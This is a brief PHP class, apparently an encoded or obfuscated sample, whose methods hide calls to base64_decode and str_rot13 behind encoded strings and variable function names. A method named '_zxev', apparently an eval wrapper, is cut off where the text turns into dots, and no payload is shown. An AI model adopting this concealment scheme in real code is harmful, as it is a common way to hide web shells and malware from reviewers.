<?php

class file_01_encoded
{
	public static function ___ac()
	{
		return get_class();
	}

	public static function _($_)
	{
		$__ = base64_decode('YmFzZTY0X2RlY29kZQ==');

		return $__($_);
	}

	public static function _z($_)
	{
		$__ = self::_('c3RyX3JvdDEz');

		return self::_($__($_));
	}

	private static function _zx($_)
	{
		$_ = str_replace(['?', '!', '.', ',', '#'], ['Y', 'Z', 'R', 'a', 'v'], $_);
		$__ = self::_('c3RyX3JvdDEz');

		return self::_($__($_));
	}

	public static function _zxev()
	{
		$arg = func_get_args();

		if (!empty($arg[0])) {
..........................................................
.................................
...........................